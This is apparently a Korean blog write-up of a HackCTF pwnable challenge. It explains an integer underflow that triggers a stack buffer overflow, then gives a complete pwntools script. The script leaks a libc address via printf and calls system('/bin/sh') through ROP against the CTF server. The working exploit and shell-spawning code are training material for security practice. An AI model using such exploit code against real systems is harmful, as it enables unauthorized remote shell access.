문제 풀이 환경 : ubuntu 18.04 |
하마터면 못풀뻔했다.
주어진 파일은 문제파일 바이너리
Analysis
일단 실행
쓰고싶은 바이트 수를 쓰고 그 바이트만큼 쓸 수 있다.
IDA
main은 간단하다. vuln 함수 하나 있다.
여기서 주목해야할 건 v2 변수가 int라는 것이다. 그래서 -1을 입력하게되면 언더플로우가 발생해서 겁나 큰 수가 되게 된다.
get_n 함수는.. getchar()함수를 이용해서 '\n' 오기 전까지 입력받는 거다.
(사실 저런 수 입력하는거 보면 -1 입력하고 싶은 욕구(?)가 생겨서 코드보기전에 일단 -1부터 눌러봤다 ㅋㅋ)
How to exploit
-1를 입력하여 BOF를 트리거 하여 ROP해주면 될 듯하다.
리모트로 익스하려면 libc 버전이 필요하다. 립시 데이타베이스에서 해당 버전을 찾아준 후, 립시를 다운받아서 풀거나, offset을 이용해서도 문제를 풀 수 있다.
나는 다운받기 귀찮아서 처음으로 offset 계산을 해서 풀어봤는데, 앞으로도 이 방법을 종종 사용할 듯 하다.
함수의 got를 leak하고 받아오는 과정은 매우 일반적이지만 나에겐 아직 익숙하지 못한 것 같다.
32bit
leak = u32(p.recv(4))
32bit에서는 주소가 4바이트라서 4바이트를 가져와야 한다.ㅎㅎ;
Let's exploit
from pwn import *
#p = process('./pwning')
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
#libc = e.libc
printf_plt = e.plt['printf']
printf_got = e.got['printf']
atoi_got = e.got['atoi']
vuln = e.symbols['vuln']
payload = ''
payload += 'a' * (0x2C+0x4)
payload += p32(printf_plt)
payload += p32(vuln)
payload += p32(atoi_got)
p.sendlineafter('? ', '-1')
pause()
p.sendlineafter('\n', payload)
#print payload
#str = 'You said: '
#p.recv(len(str)+len(payload))
p.recvuntil('\n')
atoi_addr = u32(p.recv(4))
log.info('atoi_addr : '+hex(atoi_addr))
#libc_base = printf_addr - libc.symbols['printf']
system_addr = atoi_addr + 0xd8f0
binsh_addr = atoi_addr + 0x12bfdb
log.info('system_addr : '+hex(system_addr))
log.info('binsh_addr : '+hex(binsh_addr))
payload = ''
payload += 'a' * (0x2C+0x4)
payload += p32(system_addr)
payload += 'bbbb'
payload += p32(binsh_addr)
p.sendlineafter('? ', '-1')
p.sendlineafter('\n', payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] j0n9hyun's secret 풀이 (64bit, fd overwrite) (0) | 2021.04.15 |
---|---|
[HackCTF : Pwnable] uaf 풀이 (32bit, uaf, 힙알못) (0) | 2021.04.15 |
[HackCTF : Pwnable] gift 풀이 (32bit, ROP) (0) | 2021.04.10 |
[HackCTF : Pwnable] look at me 풀이 (32bit, mprotect) (0) | 2021.04.09 |
[HackCTF : Pwnable] look at me 풀이 (32bit, syscall) (0) | 2021.04.08 |